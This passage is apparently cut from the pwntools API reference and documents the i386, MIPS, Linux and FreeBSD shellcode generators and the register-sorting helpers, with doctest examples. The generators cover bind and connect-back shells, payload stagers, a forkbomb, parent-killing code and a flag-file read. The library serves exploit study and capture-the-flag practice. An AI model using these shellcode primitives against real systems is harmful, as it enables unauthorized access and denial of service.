(continues on next page)

(continued from previous page)

```

xor dword ptr [esp], 0x1606060
>>> print shellcraft.i386.pushstr('aaaa').rstrip()
/* push 'aaaa\x00' */
push 1
dec byte ptr [esp]
push 0x61616161
>>> print shellcraft.i386.pushstr('aaaaa').rstrip()
/* push 'aaaaa\x00' */
push 0x61
push 0x61616161
>>> print shellcraft.i386.pushstr('aaaa', append_null = False).rstrip()
/* push 'aaaa' */
push 0x61616161
>>> print shellcraft.i386.pushstr('\xc3').rstrip()
/* push '\xc3\x00' */
push 0x1010101
xor dword ptr [esp], 0x10101c2
>>> print shellcraft.i386.pushstr('\xc3', append_null = False).rstrip()
/* push '\xc3' */
push -0x3d
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.pushstr("/bin/sh")))
68010101018134242e726901682f62696e
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.pushstr("")))
6a01fe0c24
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.pushstr("\x00", False)))
6a01fe0c24

```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

`pwntools.shellcraft.i386.pushstr_array` (*reg, array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwntools.shellcraft.i386.ret` (*return_value=None*)

A single-byte RET instruction.

Parameters **return_value** – Value to return

`pwntools.shellcraft.i386.setregs` (*reg_context, stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context

- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'eax':1, 'ebx':'eax'}).rstrip()
mov ebx, eax
push 1
pop eax
>>> print shellcraft.setregs({'eax':'ebx', 'ebx':'eax', 'ecx':'ebx'}).rstrip()
mov ecx, ebx
xchg eax, ebx
```

`pwnlib.shellcraft.i386.stackarg` (*index*, *register*)

Loads a stack-based argument into a register.

Assumes that the ‘prolog’ code was used to save EBP.

Parameters

- **index** (*int*) – Zero-based argument index.
- **register** (*str*) – Register name.

`pwnlib.shellcraft.i386.stackhunter` (*cookie = 0x7afceb58*)

Returns an an egghunter, which searches from esp and upwards for a cookie. However to save bytes, it only looks at a single 4-byte alignment. Use the function `stackhunter_helper` to generate a suitable cookie prefix for you.

The default cookie has been chosen, because it makes it possible to shave a single byte, but other cookies can be used too.

Example

```
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.stackhunter()))
3d58ebfc7a75faffe4
>>> with context.local():
...     context.arch = 'i386'
...     print enhex(asm(shellcraft.stackhunter(0xdeadbeef)))
583defbeadde75f8ffe4
```

`pwnlib.shellcraft.i386.strcpy` (*dst*, *src*)

Copies a string

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strcpy('esp', 'eax')
>>> sc += shellcraft.i386.linux.write(1, 'esp', 32)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\\n"'
```

(continues on next page)

(continued from previous page)

```
>>> run_assembly(sc).recvline()
'Hello, world\n'
```

`pwnlib.shellcraft.i386.strlen(string, reg='ecx')`
 Calculate the length of the specified string.

Parameters

- **string** (*str*) – Register or address with the string
- **reg** (*str*) – Named register to return the value in, `ecx` is the default.

Example

```
>>> sc = 'jmp get_str\n'
>>> sc += 'pop_str: pop eax\n'
>>> sc += shellcraft.i386.strlen('eax')
>>> sc += 'push ecx;'
>>> sc += shellcraft.i386.linux.write(1, 'esp', 4)
>>> sc += shellcraft.i386.linux.exit(0)
>>> sc += 'get_str: call pop_str\n'
>>> sc += '.asciz "Hello, world\n"'
>>> run_assembly(sc).unpack() == len('Hello, world\n')
True
```

`pwnlib.shellcraft.i386.trap()`
 A trap instruction.

`pwnlib.shellcraft.i386.xor(key, address, count)`
 XORs data a constant value.

Parameters

- **key** (*int, str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes. Alternately, may be a register.
- **address** (*int*) – Address of the data (e.g. `0xdead0000`, `'esp'`)
- **count** (*int*) – Number of bytes to XOR, or a register containing the number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'esp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'esp', 32)
>>> sc += shellcraft.write(1, 'esp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

pwnlib.shellcraft.i386.linux

Shellcraft module containing Intel i386 shellcodes for Linux.

`pwnlib.shellcraft.i386.linux.acceptloop_ipv4` (*port*)

Parameters `port` (*int*) – the listening port

Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.linux.cat` (*filename, fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> run_assembly(shellcraft.i386.linux.cat(f)).recvall()
'FLAG'
```

`pwnlib.shellcraft.i386.linux.connect` (*host, port, network='ipv4'*)

Connects to the host on the specified port. Leaves the connected socket in `edx`

Parameters

- **host** (*str*) – Remote IP address or hostname (as a dotted quad / string)
- **port** (*int*) – Remote port
- **network** (*str*) – Network protocol (ipv4 or ipv6)

Examples

```
>>> l = listen(timeout=5)
>>> assembly = shellcraft.i386.linux.connect('localhost', l.lport)
>>> assembly += shellcraft.i386.pushstr('Hello')
>>> assembly += shellcraft.i386.linux.write('edx', 'esp', 5)
>>> p = run_assembly(assembly)
>>> l.wait_for_connection().recv()
'Hello'
```

```
>>> l = listen(fam='ipv6', timeout=5)
>>> assembly = shellcraft.i386.linux.connect('::1', l.lport, 'ipv6')
>>> p = run_assembly(assembly)
>>> assert l.wait_for_connection()
```

`pwnlib.shellcraft.i386.linux.connectstager` (*host, port, network='ipv4'*)

connect recvsize stager :param host, where to connect to: :param port, which port to connect to: :param network, ipv4 or ipv6? (default: ipv4)

`pwnlib.shellcraft.i386.linux.dir` (*in_fd='ebp', size=2048, allocate_stack=True*)

Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.

- **allocate_stack** (*bool*) – allocate ‘size’ bytes on the stack.

You can optionally shave a few bytes not allocating the stack space.

The size read is left in `eax`.

`pwntools.shellcraft.i386.linux.dupio (sock='ebp')`

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr

`pwntools.shellcraft.i386.linux.dupsh (sock='ebp')`

Args: [sock (imm/reg) = ebp] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwntools.shellcraft.i386.linux.echo (string, sock='l')`

Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello', 1)).recvall()
'hello'
```

`pwntools.shellcraft.i386.linux.egghunter (egg, start_address = 0)`

Searches memory for the byte sequence ‘egg’.

Return value is the address immediately following the match, stored in `RDI`.

Parameters

- **egg** (*str*, *int*) – String of bytes, or word-size integer to search for
- **start_address** (*int*) – Where to start the search

`pwntools.shellcraft.i386.linux.findpeer (port=None)`

Args: port (defaults to any) Finds a socket, which is connected to the specified port. Leaves socket in `ESI`.

`pwntools.shellcraft.i386.linux.findpeersh (port=None)`

Args: port (defaults to any) Finds an open socket which connects to a specified port, and then opens a dup2 shell on it.

`pwntools.shellcraft.i386.linux.findpeerstager (port=None)`

Findpeer recvsize stager :param port, the port given to findpeer: :type port, the port given to findpeer: defaults to any

`pwntools.shellcraft.i386.linux.forkbomb ()`

Performs a forkbomb attack.

`pwntools.shellcraft.i386.linux.forkexit ()`

Attempts to fork. If the fork is successful, the parent exits.

`pwntools.shellcraft.i386.linux.i386_to_amd64 ()`

Returns code to switch from i386 to amd64 mode.

`pwntools.shellcraft.i386.linux.killparent ()`

Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwntools.shellcraft.i386.linux.loader (address)`

Loads a statically-linked ELF into memory and transfers control.

Parameters **address** (*int*) – Address of the ELF as a register or integer.

`pwntools.shellcraft.i386.linux.loader_append (data=None)`

Loads a statically-linked ELF into memory and transfers control.

Similar to `loader.asm` but loads an appended ELF.

Parameters `data` (*str*) – If a valid filename, the data is loaded from the named file. Otherwise, this is treated as raw ELF data to append. If `None`, it is ignored.

Example

```
>>> gcc = process(['gcc', '-m32', '-xc', '-static', '-Wl,-Ttext-segment=0x20000000', '-
↳'])
>>> gcc.write('''
... int main() {
...     printf("Hello, %s!\n", "i386");
... }
... ''')
>>> gcc.shutdown('send')
>>> gcc.poll(True)
0
>>> sc = shellcraft.loader_append('a.out')
```

The following doctest is commented out because it doesn't work on Travis for reasons I cannot diagnose. However, it should work just fine :-)

```
# >>> run_assembly(sc).recvline() == 'Hello, i386!\n' # True
```

`pwnlib.shellcraft.i386.linux.mprotect_all` (*clear_ebx=True, fix_null=False*)
Calls `mprotect`(page, 4096, `PROT_READ | PROT_WRITE | PROT_EXEC`) for every page.

It takes around 0.3 seconds on my box, but your mileage may vary.

Parameters

- **clear_ebx** (*bool*) – If this is set to `False`, then the shellcode will assume that `ebx` has already been zeroed.
- **fix_null** (*bool*) – If this is set to `True`, then the `NULL`-page will also be `mprotected` at the cost of slightly larger shellcode

`pwnlib.shellcraft.i386.linux.pidmax` ()
Retrieves the highest numbered `PID` on the system, according to the `sysctl` kernel `pid_max`.

`pwnlib.shellcraft.i386.linux.readfile` (*path, dst='esi'*)
Args: [*path, dst (imm/reg) = esi*] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.i386.linux.readn` (*fd, buf, nbytes*)
Reads exactly *nbytes* bytes from file descriptor *fd* into the buffer *buf*.

Parameters

- **fd** (*int*) – *fd*
- **buf** (*void*) – *buf*
- **nbytes** (*size_t*) – *nbytes*

`pwnlib.shellcraft.i386.linux.recvsize` (*sock, reg='ecx'*)
Recives 4 bytes size field Useful in conjunction with `findpeer` and `stager` :*param sock*, the socket to read the payload from.: :*param reg*, the place to put the size: :*type reg*, the place to put the size: default `ecx`
Leaves socket in `ebx`

`pwnlib.shellcraft.i386.linux.setregid` (*gid='egid'*)
Args: [*gid (imm/reg) = egid*] Sets the real and effective group id.

`pwnlib.shellcraft.i386.linux.setreuid (uid='euid')`
Args: [uid (imm/reg) = euid] Sets the real and effective user id.

`pwnlib.shellcraft.i386.linux.sh ()`
Execute a different process.

```
>>> p = run_assembly(shellcraft.i386.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.i386.linux.socket (network='ipv4', proto='tcp')`
Creates a new socket

`pwnlib.shellcraft.i386.linux.socketcall (socketcall, socket, sockaddr, sockaddr_len)`
Invokes a socket call (e.g. socket, send, recv, shutdown)

`pwnlib.shellcraft.i386.linux.stage (fd=0, length=None)`
Migrates shellcode to a new buffer.

Parameters

- **fd** (*int*) – Integer file descriptor to recv data from. Default is stdin (0).
- **length** (*int*) – Optional buffer length. If None, the first pointer-width of data received is the length.

Example

```
>>> p = run_assembly(shellcraft.stage())
>>> sc = asm(shellcraft.echo("Hello\n", constants.STDOUT_FILENO))
>>> p.pack(len(sc))
>>> p.send(sc)
>>> p.recvline()
'Hello\n'
```

`pwnlib.shellcraft.i386.linux.stager (sock, size, handle_error=False, tiny=False)`
Recives a fixed sized payload into a mmaped buffer Useful in conjunction with findpeer. :param sock, the socket to read the payload from.: :param size, the size of the payload:

`pwnlib.shellcraft.i386.linux.syscall (syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None)`

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 1, 'esp', 2, 0).
↳rstrip()
/* call execve(1, 'esp', 2, 0) */
push SYS_execve /* 0xb */
pop eax
push 1
pop ebx
mov ecx, esp
```

(continues on next page)

(continued from previous page)

```

push 2
pop edx
xor esi, esi
int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip()
/* call execve(2, 1, 0, 0x14) */
push SYS_execve /* 0xb */
pop eax
push 2
pop ebx
push 1
pop ecx
push 0x14
pop esi
cdq /* edx=0 */
int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall().rstrip()
/* call syscall() */
int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('eax', 'ebx', 'ecx').rstrip()
/* call syscall('eax', 'ebx', 'ecx') */
/* setregs noop */
int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall('ebp', None, None, 1).rstrip()
/* call syscall('ebp', ?, ?, 1) */
mov eax, ebp
push 1
pop edx
int 0x80
>>> print pwnlib.shellcraft.i386.linux.syscall(
...     'SYS_mmap2', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip()
/* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
↳MAP_ANONYMOUS', -1, 0) */
xor eax, eax
mov al, 0xc0
xor ebp, ebp
xor ebx, ebx
xor ecx, ecx
mov ch, 0x1000 >> 8
push -1
pop edi
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop edx
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop esi
int 0x80
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push '/home/pwn/flag\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016660
push 0x6c662f6e
push 0x77702f65
push 0x6d6f682f

```

(continues on next page)

(continued from previous page)

```

mov ebx, esp
xor ecx, ecx
xor edx, edx
/* call open() */
push SYS_open /* 5 */
pop eax
int 0x80

```

pwnlib.shellcraft.i386.freebsd

Shellcraft module containing Intel i386 shellcodes for FreeBSD.

`pwnlib.shellcraft.i386.freebsd.acceptloop_ipv4` (*port*)

Args: *port* Waits for a connection. Leaves socket in EBP. ipv4 only

`pwnlib.shellcraft.i386.freebsd.i386_to_amd64` ()

Returns code to switch from i386 to amd64 mode.

`pwnlib.shellcraft.i386.freebsd.sh` ()

Execute /bin/sh

pwnlib.shellcraft.mips — Shellcode for MIPS

pwnlib.shellcraft.mips

Shellcraft module containing generic MIPS shellcodes.

`pwnlib.shellcraft.mips.mov` (*dst, src*)

Move *src* into *dst* without newlines and null bytes.

Registers \$t8 and \$t9 are not guaranteed to be preserved.

If *src* is a string that is not a register, then it will locally set `context.arch` to `'mips'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Parameters

- **dst** (*str*) – The destination register.
- **src** (*str*) – Either the input register, or an immediate value.

Example

```

>>> print shellcraft.mips.mov('$t0', 0).rstrip()
      slti $t0, $zero, 0xFFFF /* $t0 = 0 */
>>> print shellcraft.mips.mov('$t2', 0).rstrip()
      xor $t2, $t2, $t2 /* $t2 = 0 */
>>> print shellcraft.mips.mov('$t0', 0xcafebabe).rstrip()
      li $t0, 0xcafebabe
>>> print shellcraft.mips.mov('$t2', 0xcafebabe).rstrip()
      li $t9, 0xcafebabe
      add $t2, $t9, $zero
>>> print shellcraft.mips.mov('$s0', 0xca0000be).rstrip()

```

(continues on next page)

(continued from previous page)

```

    li $t9, ~0xca0000be
    not $s0, $t9
>>> print shellcraft.mips.mov('$s0', 0xca0000ff).rstrip()
    li $t9, 0x1010101 ^ 0xca0000ff
    li $s0, 0x1010101
    xor $s0, $t9, $s0
>>> print shellcraft.mips.mov('$t9', 0xca0000be).rstrip()
    li $t9, ~0xca0000be
    not $t9, $t9
>>> print shellcraft.mips.mov('$t2', 0xca0000be).rstrip()
    li $t9, ~0xca0000be
    not $t9, $t9
    add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print shellcraft.mips.mov('$t2', 0xca0000ff).rstrip()
    li $t8, 0x1010101 ^ 0xca0000ff
    li $t9, 0x1010101
    xor $t9, $t8, $t9
    add $t2, $t9, $0 /* mov $t2, $t9 */
>>> print shellcraft.mips.mov('$a0', '$t2').rstrip()
    add $a0, $t2, $0 /* mov $a0, $t2 */
>>> print shellcraft.mips.mov('$a0', '$t8').rstrip()
    sw $t8, -4($sp) /* mov $a0, $t8 */
    lw $a0, -4($sp)

```

`pwnlib.shellcraft.mips.nop()`
MIPS nop instruction.

`pwnlib.shellcraft.mips.push(value)`
Pushes a value onto the stack.

`pwnlib.shellcraft.mips.pushstr(string, append_null=True)`
Pushes a string onto the stack without using null bytes or newline characters.

Example

```

>>> print shellcraft.mips.pushstr('').rstrip()
/* push '\x00' */
sw $zero, -4($sp)
addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('a').rstrip()
/* push 'a\x00' */
li $t9, ~0x61
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('aa').rstrip()
/* push 'aa\x00' */
ori $t1, $zero, 24929
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('aaa').rstrip()
/* push 'aaa\x00' */
li $t9, ~0x616161
not $t1, $t9
sw $t1, -4($sp)

```

(continues on next page)

(continued from previous page)

```

    addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('aaaa').rstrip()
/* push 'aaaa\x00' */
li $t1, 0x61616161
sw $t1, -8($sp)
sw $zero, -4($sp)
addiu $sp, $sp, -8
>>> print shellcraft.mips.pushstr('aaaaa').rstrip()
/* push 'aaaaa\x00' */
li $t1, 0x61616161
sw $t1, -8($sp)
li $t9, ~0x61
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -8
>>> print shellcraft.mips.pushstr('aaaa', append_null = False).rstrip()
/* push 'aaaa' */
li $t1, 0x61616161
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('\xc3').rstrip()
/* push '\xc3\x00' */
li $t9, ~0xc3
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print shellcraft.mips.pushstr('\xc3', append_null = False).rstrip()
/* push '\xc3' */
li $t9, ~0xc3
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -4
>>> print enhex(asm(shellcraft.mips.pushstr("/bin/sh")))
696e093c2f622935f8ffa9af97ff193cd08c393727482003fcffa9aff8ffbd27
>>> print enhex(asm(shellcraft.mips.pushstr("")))
fcffa0affcfffbd27
>>> print enhex(asm(shellcraft.mips.pushstr("\x00", False)))
fcffa0affcfffbd27

```

Parameters

- **string** (*str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.

`pwntools.shellcraft.mips.pushstr_array` (*reg, array*)

Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*str, list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwntools.shellcraft.mips.setregs` (*reg_context, stack_allowed=True*)

Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```
>>> print shellcraft.setregs({'$t0':1, '$a3':'0'}).rstrip()
    slti $a3, $zero, 0xFFFF /* $a3 = 0 */
    li $t9, ~1
    not $t0, $t9
>>> print shellcraft.setregs({'$a0': '$a1', '$a1': '$a0', '$a2': '$a1'}).rstrip()
    sw $a1, -4($sp) /* mov $a2, $a1 */
    lw $a2, -4($sp)
    xor $a1, $a1, $a0 /* xchg $a1, $a0 */
    xor $a0, $a1, $a0
    xor $a1, $a1, $a0
```

`pwnlib.shellcraft.mips.trap()`
A trap instruction.

`pwnlib.shellcraft.mips.linux`

Shellcraft module containing MIPS shellcodes for Linux.

`pwnlib.shellcraft.mips.linux.bindsh` (*port, network*)

Listens on a TCP port and spawns a shell for the first to connect. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.mips.linux.cat` (*filename, fd=1*)

Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG')
>>> asm = shellcraft.mips.linux.cat(f)
>>> asm += shellcraft.mips.linux.exit(0)
>>> run_assembly(asm).recvall()
'FLAG'
```

`pwnlib.shellcraft.mips.linux.connect` (*host, port, network='ipv4'*)

Connects to the host on the specified port. Network is either 'ipv4' or 'ipv6'. Leaves the connected socket in `$s0`.

`pwnlib.shellcraft.mips.linux.dupsh` (*sock='\$s0'*)

Args: [sock (imm/reg) = s0] Duplicates sock to stdin, stdout and stderr and spawns a shell.

`pwnlib.shellcraft.mips.linux.echo` (*string, sock=1*)

Writes a string to a file descriptor

`pwnlib.shellcraft.mips.linux.findpeer` (*port*)

Finds a connected socket. If port is specified it is checked against the peer port. Resulting socket is left in `$s0`.

`pwnlib.shellcraft.mips.linux.findpeersh` (*port*)

Finds a connected socket. If port is specified it is checked against the peer port. A dup2 shell is spawned on it.

`pwnlib.shellcraft.mips.linux.forkbomb()`

Performs a forkbomb attack.

`pwnlib.shellcraft.mips.linux.forkexit()`

Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.mips.linux.killparent()`

Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwnlib.shellcraft.mips.linux.listen(port, network)`

Listens on a TCP port, accept a client and leave his socket in `$s0`. Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.

`pwnlib.shellcraft.mips.linux.readfile(path, dst='$s0')`

Args: [path, dst (imm/reg) = \$s0] Opens the specified file path and sends its content to the specified file descriptor.

`pwnlib.shellcraft.mips.linux.sh()`

Execute `/bin/sh`

Example

```
>>> p = run_assembly(shellcraft.mips.linux.sh())
>>> p.sendline('echo Hello')
>>> p.recv()
'Hello\n'
```

`pwnlib.shellcraft.mips.linux.stager(sock, size)`

Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it. The socket will be left in `$s0`.

`pwnlib.shellcraft.mips.linux.syscall(syscall=None, arg0=None, arg1=None, arg2=None, arg3=None, arg4=None, arg5=None)`

Args: [syscall_number, *args] Does a syscall

Any of the arguments can be expressions to be evaluated by `pwnlib.constants.eval()`.

Example

```
>>> print pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 1, '$sp', 2, 0).
↳rstrip()
/* call execve(1, '$sp', 2, 0) */
li $t9, ~1
not $a0, $t9
add $a1, $sp, $0 /* mov $a1, $sp */
li $t9, ~2
not $a2, $t9
slti $a3, $zero, 0xFFFF /* $a3 = 0 */
ori $v0, $zero, SYS_execve
syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall('SYS_execve', 2, 1, 0, 20).rstrip()
/* call execve(2, 1, 0, 0x14) */
li $t9, ~2
not $a0, $t9
li $t9, ~1
```

(continues on next page)

(continued from previous page)

```

not $a1, $t9
slti $a2, $zero, 0xFFFF /* $a2 = 0 */
li $t9, ~0x14
not $a3, $t9
ori $v0, $zero, SYS_execve
syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall().rstrip()
/* call syscall() */
syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall('$v0', '$a0', '$a1').rstrip()
/* call syscall('$v0', '$a0', '$a1') */
/* setregs noop */
syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall('$a3', None, None, 1).rstrip()
/* call syscall('$a3', ?, ?, 1) */
li $t9, ~1
not $a2, $t9
sw $a3, -4($sp) /* mov $v0, $a3 */
lw $v0, -4($sp)
syscall 0x40404
>>> print pwnlib.shellcraft.mips.linux.syscall(
...     'SYS_mmap2', 0, 0x1000,
...     'PROT_READ | PROT_WRITE | PROT_EXEC',
...     'MAP_PRIVATE | MAP_ANONYMOUS',
...     -1, 0).rstrip()
/* call mmap2(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE |
↳MAP_ANONYMOUS', -1, 0) */
slti $a0, $zero, 0xFFFF /* $a0 = 0 */
li $t9, ~0x1000
not $a1, $t9
li $t9, ~(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
not $a2, $t9
ori $a3, $zero, (MAP_PRIVATE | MAP_ANONYMOUS)
ori $v0, $zero, SYS_mmap2
syscall 0x40404
>>> print pwnlib.shellcraft.open('/home/pwn/flag').rstrip()
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push '/home/pwn/flag\x00' */
li $t1, 0x6d6f682f
sw $t1, -16($sp)
li $t1, 0x77702f65
sw $t1, -12($sp)
li $t1, 0x6c662f6e
sw $t1, -8($sp)
ori $t1, $zero, 26465
sw $t1, -4($sp)
addiu $sp, $sp, -16
add $a0, $sp, $0 /* mov $a0, $sp */
slti $a1, $zero, 0xFFFF /* $a1 = 0 */
slti $a2, $zero, 0xFFFF /* $a2 = 0 */
/* call open() */
ori $v0, $zero, SYS_open
syscall 0x40404

```

pwnlib.regsort — Register sorting

Topographical sort

`pwnlib.regsort.check_cycle` (*reg*, *assignments*)

Walk down the assignment list of a register, return the path walked if it is encountered again.

Returns The list of register involved in the cycle. If there is no cycle, this is an empty list.

Example

```
>>> check_cycle('a', {'a': 1})
[]
>>> check_cycle('a', {'a': 'a'})
['a']
>>> check_cycle('a', {'a': 'b', 'b': 'a'})
['a', 'b']
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'b', 'd': 'a'})
[]
>>> check_cycle('a', {'a': 'b', 'b': 'c', 'c': 'd', 'd': 'a'})
['a', 'b', 'c', 'd']
```

`pwnlib.regsort.extract_dependencies` (*reg*, *assignments*)

Return a list of all registers which directly depend on the specified register.

Example

```
>>> extract_dependencies('a', {'a': 1})
[]
>>> extract_dependencies('a', {'a': 'b', 'b': 1})
[]
>>> extract_dependencies('a', {'a': 1, 'b': 'a'})
['b']
>>> extract_dependencies('a', {'a': 1, 'b': 'a', 'c': 'a'})
['b', 'c']
```

`pwnlib.regsort.regsort` (*in_out*, *all_regs*, *tmp=None*, *xchg=True*, *randomize=None*)

Sorts register dependencies.

Given a dictionary of registers to desired register contents, return the optimal order in which to set the registers to those contents.

The implementation assumes that it is possible to move from any register to any other register.

If a dependency cycle is encountered, one of the following will occur:

- If `xchg` is `True`, it is assumed that dependency cycles can be broken by swapping the contents of two register (a la the `xchg` instruction on i386).
- If `xchg` is not set, but not all destination registers in `in_out` are involved in a cycle, one of the registers outside the cycle will be used as a temporary register, and then overwritten with its final value.
- If `xchg` is not set, and all registers are involved in a dependency cycle, the named register `temporary` is used as a temporary register.
- If the dependency cycle cannot be resolved as described above, an exception is raised.

Parameters

- **in_out** (*dict*) – Dictionary of desired register states. Keys are registers, values are either registers or any other value.
- **all_regs** (*list*) – List of all possible registers. Used to determine which values in *in_out* are registers, versus regular values.
- **tmp** (*obj, str*) – Named register (or other sentinel value) to use as a temporary register. If *tmp* is a named register **and** appears as a source value in *in_out*, dependencies are handled appropriately. *tmp* cannot be a destination register in *in_out*. If `bool(tmp)==True`, this mode is enabled.
- **xchg** (*obj*) – Indicates the existence of an instruction which can swap the contents of two registers without use of a third register. If `bool(xchg)==False`, this mode is disabled.
- **random** (*bool*) – Randomize as much as possible about the order or registers.

Returns

A list of tuples of (*src, dest*).

Each register may appear more than once, if a register is used as a temporary register, and later overwritten with its final value.

If *xchg* is `True` and it is used to break a dependency cycle, then *reg_name* will be `None` and *value* will be a tuple of the instructions to swap.

Example

```
>>> R = ['a', 'b', 'c', 'd', 'x', 'y', 'z']
```

If order doesn't matter for any subsequence, alphabetic order is used.

```
>>> regsort({'a': 1, 'b': 2}, R)
[('mov', 'a', 1), ('mov', 'b', 2)]
>>> regsort({'a': 'b', 'b': 'a'}, R)
[('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a'}, R, tmp='X')
[('mov', 'X', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'X')]
>>> regsort({'a': 1, 'b': 'a'}, R)
[('mov', 'b', 'a'),
 ('mov', 'a', 1)]
>>> regsort({'a': 'b', 'b': 'a', 'c': 3}, R)
[('mov', 'c', 3),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'c': 'b'}, R)
[('mov', 'c', 'b'),
 ('xchg', 'a', 'b')]
>>> regsort({'a': 'b', 'b': 'a', 'x': 'b'}, R, tmp='y', xchg=False)
[('mov', 'x', 'b'),
 ('mov', 'y', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'y')]
>>> regsort({'a': 'b', 'b': 'a', 'x': 'b'}, R, tmp='x', xchg=False)
Traceback (most recent call last):
...
```

(continues on next page)

(continued from previous page)

```
PwnlibException: Cannot break dependency cycles ...
>>> regsort({'a':'b','b':'c','c':'a','x':'l','y':'z','z':'c'}, R)
[('mov', 'x', 'l'),
 ('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('xchg', 'a', 'b'),
 ('xchg', 'b', 'c')]
>>> regsort({'a':'b','b':'c','c':'a','x':'l','y':'z','z':'c'}, R, tmp='x')
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
 ('mov', 'a', 'b'),
 ('mov', 'b', 'c'),
 ('mov', 'c', 'x'),
 ('mov', 'x', 'l')]
>>> regsort({'a':'b','b':'c','c':'a','x':'l','y':'z','z':'c'}, R, xchg=0)
[('mov', 'y', 'z'),
 ('mov', 'z', 'c'),
 ('mov', 'x', 'a'),
